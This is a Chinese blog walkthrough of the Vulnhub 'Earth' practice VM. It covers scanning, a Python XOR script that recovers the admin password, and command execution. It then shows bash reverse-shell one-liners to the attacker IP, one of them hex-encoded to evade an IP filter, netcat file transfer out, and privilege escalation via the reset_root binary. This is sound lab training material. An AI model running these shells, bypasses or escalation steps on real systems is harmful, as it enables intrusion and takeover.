看完这篇 教你玩转渗透测试靶机Vulnhub——The Planets: Earth

简介: 看完这篇 教你玩转渗透测试靶机Vulnhub——The Planets: Earth

e2ba74fa8b9d4b9b9b4bbcdb4798a196.png2d9acbde09a34e2ea441c6f47acf859c.pngVulnhub靶机介绍:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

这是一个漏洞靶机,老样子需要找到flag即可。


Vulnhub靶机下载:

官方下载:https://download.vulnhub.com/theplanets/Earth.ova

Vulnhub靶机安装:


下载好了把安装包解压 然后使用Oracle VM打开即可。


Vulnhub靶机漏洞详解:

①:信息收集:

kali里使用arp-scan -l或者netdiscover发现主机


渗透机:kali IP :192.168.0.102 靶机IP :192.168.0.105

使用命令:nmap -sS -sV -A -n -p- 192.168.0.105


发现开启了22、80、443 老样子先访问80发现400报错,修改hosts文件vim /etc/hosts

192.168.0.105 earth.local terratest.earth.local #然后访问earth.local



Message输入随便的字符 下面的数字会进行加密 dirb扫一下后台发现/admin/发现需要账号密码,尝试暴力破解无果!



25b77e027f5a4370b8a1dc2a5a3b99d6.png


接着扫另一个https域名: dirb https://terratest.earth.local发现了robots.txt进行访问


  1. 加密算法是XOR(异或)
  2. testdata.txt是加密文件
  3. terra是管理员的用户名
wget https://terratest.earth.local/testdata.txt --no-check-certificate ##下载密文


2d9acbde09a34e2ea441c6f47acf859c.png

import base64
import binascii
data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
#data1中的数据为https://earth.local页面中最下面一行数据的内容 如果不确定是哪个可以都试试 只有这个数据可以异或出来有效数据
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
#(open('a.txt', 'rb') rb参数表示获取到的是 testdata.txt中内容的16进制 其整体结果为2进制的表现形式。testdata.txt 是上一步扫描获取到的信息 可以复制出来 也可以 使用命令:wget https://terratest.earth.local/testdata.txt --no-check-certificate 
#binascii.b2a_hex 把二进制形式的16进制字符串转换为16进制的形式 
res=hex(int(data1,16) ^ int(f,16)) #&与 |或 ^异或 ~非 >>右移  <<左移  异或的时候需要知道必须要与加密文件大小相同
print(res) #输出异或运算后的16进制字符串

23679e09e3754868ba9f02ecb4feab2d.png

0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174   #这一串有密码

16进制在线转字符串:https://www.bejson.com/convert/ox2str/

现在知道了账号:terra和密码:earthclimatechangebad4humans 尝试登入, 登入成功!!!


②:命令执行:

发现可以直接命令执行,直接看看能不能找flag find / -name "*flag*"查看源码这样方便看点 cat /var/earth_web/user_flag.txt


这里其实可以直接反弹shell了 但是显示被禁止所以需要绕过 把ip进行16进制编码即可完成绕过 然后就回弹了shell

在线转换地址:http://www.tbfl.store/net/ip.html

/var/earth_web/secure_message/forms.py #这个文件限制了ip
nc -lvvp 4444
bash -i >& /dev/tcp/192.168.0.102/4444 0>&1
bash -i >& /dev/tcp/0Xc0a80066/4444 0>&1



eb407c18927e4e05b54fb0f4d9d20774.png


ea806a864305442f8a966c7c3503b5e2.png


95d6f84c79a84ff4b38af4082d741291.png

bb10dbf7c5464d91b7d4c6cdd15351e3.png


③:提权:

使用命令: find / -perm -u=s -type f 2>/dev/null有个/usr/bin/reset root 可以使用


使用命令:strings /usr/bin/reset_root 可以看到这个可执行文件将root的密码修改为Earth

nc -lvnp 6666 > reset_root  #监听6666端口接收文件
nc 192.168.0.102 6666 < /usr/bin/reset_root  #ip是本机ip
chmod 777 #kali里面给权限
apt-get install strace  #安装strace工具
strace -f -F ./reset_root  #检测跟踪进程 发现少了三个文件

e2ba74fa8b9d4b9b9b4bbcdb4798a196.png

1ed8022c1077478f9ab102ff3d6ee312.png

在靶机上用touch命令创建文件,创建完成后再执行/usr/bin/reset_root执行成功,显示root的密码被修改成了Earth

touch /tmp/kcM0Wewe
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
cd /usr/bin
./reset_root  #然后密码就会修改为Earth 切换用户即可


78860d374e104985afbc136f3fb87538.png

④:获取FLAG:

至此至此获取到了flag,本篇文章渗透结束 感谢大家的观看!!


Vulnhub靶机渗透总结:

这个靶机难度中等吧


1.信息收集arp-scan -l 获取ip地址 和端口信息 web扫描工具:nikto,dirb,dirbuster,whatweb,ffuf等 查看F12源码信息

2.修改hosts文件完成DNS解析 路径:/etc/hosts 通过异或算法脚本获取密码 strace 工具得使用(第一次使用!)

3.通过nc bash 反弹shell (新知识点,被限制了可以通过16进制进行绕过!)

4.最后就是提权,通过新建文件执行脚本 重置root密码


The Planets系列得第一个靶机,学习到了很多知识点又是收获满满的一天(耶耶耶!)

最后创作不易,希望对大家有所帮助 喜欢的话麻烦大家给个一键三连 你的开心就是我最大的快乐!!

相关文章
|
1月前
|
安全 Linux 网络安全
Neos的渗透测试靶机练习——DC-3
Neos的渗透测试靶机练习——DC-3
31 4
|
1月前
|
安全 Shell 网络安全
Neos的渗透测试靶机练习——DC-1
Neos的渗透测试靶机练习——DC-1
37 4
|
1月前
|
Devops Shell 网络安全
Neos的渗透测试靶机练习——Wakanda
Neos的渗透测试靶机练习——Wakanda
18 2
|
2月前
|
安全 中间件 Shell
渗透测试-靶机DC-2-知识点总结
渗透测试-靶机DC-2-知识点总结
35 0
|
2月前
|
安全 网络协议 Shell
渗透测试-靶机DC-1-知识点总结
渗透测试-靶机DC-1-知识点总结
39 0
|
8天前
|
JSON Java 测试技术
SpringCloud2023实战之接口服务测试工具SpringBootTest
SpringBootTest同时集成了JUnit Jupiter、AssertJ、Hamcrest测试辅助库,使得更容易编写但愿测试代码。
37 3
|
1月前
|
JSON 算法 数据可视化
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
这篇文章是关于如何通过算法接口返回的目标检测结果来计算性能指标的笔记。它涵盖了任务描述、指标分析(包括TP、FP、FN、TN、精准率和召回率),接口处理,数据集处理,以及如何使用实用工具进行文件操作和数据可视化。文章还提供了一些Python代码示例,用于处理图像文件、转换数据格式以及计算目标检测的性能指标。
59 0
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
|
2月前
|
移动开发 JSON Java
Jmeter实现WebSocket协议的接口测试方法
WebSocket协议是HTML5的一种新协议,实现了浏览器与服务器之间的全双工通信。通过简单的握手动作,双方可直接传输数据。其优势包括极小的头部开销和服务器推送功能。使用JMeter进行WebSocket接口和性能测试时,需安装特定插件并配置相关参数,如服务器地址、端口号等,还可通过CSV文件实现参数化,以满足不同测试需求。
239 7
Jmeter实现WebSocket协议的接口测试方法
|
2月前
|
JSON 移动开发 监控
快速上手|HTTP 接口功能自动化测试
HTTP接口功能测试对于确保Web应用和H5应用的数据正确性至关重要。这类测试主要针对后台HTTP接口,通过构造不同参数输入值并获取JSON格式的输出结果来进行验证。HTTP协议基于TCP连接,包括请求与响应模式。请求由请求行、消息报头和请求正文组成,响应则包含状态行、消息报头及响应正文。常用的请求方法有GET、POST等,而响应状态码如2xx代表成功。测试过程使用Python语言和pycurl模块调用接口,并通过断言机制比对实际与预期结果,确保功能正确性。
248 3
快速上手|HTTP 接口功能自动化测试
|
1月前
|
JavaScript 前端开发 API
vue尚品汇商城项目-day02【9.Home组件拆分+10.postman测试接口】
vue尚品汇商城项目-day02【9.Home组件拆分+10.postman测试接口】
40 0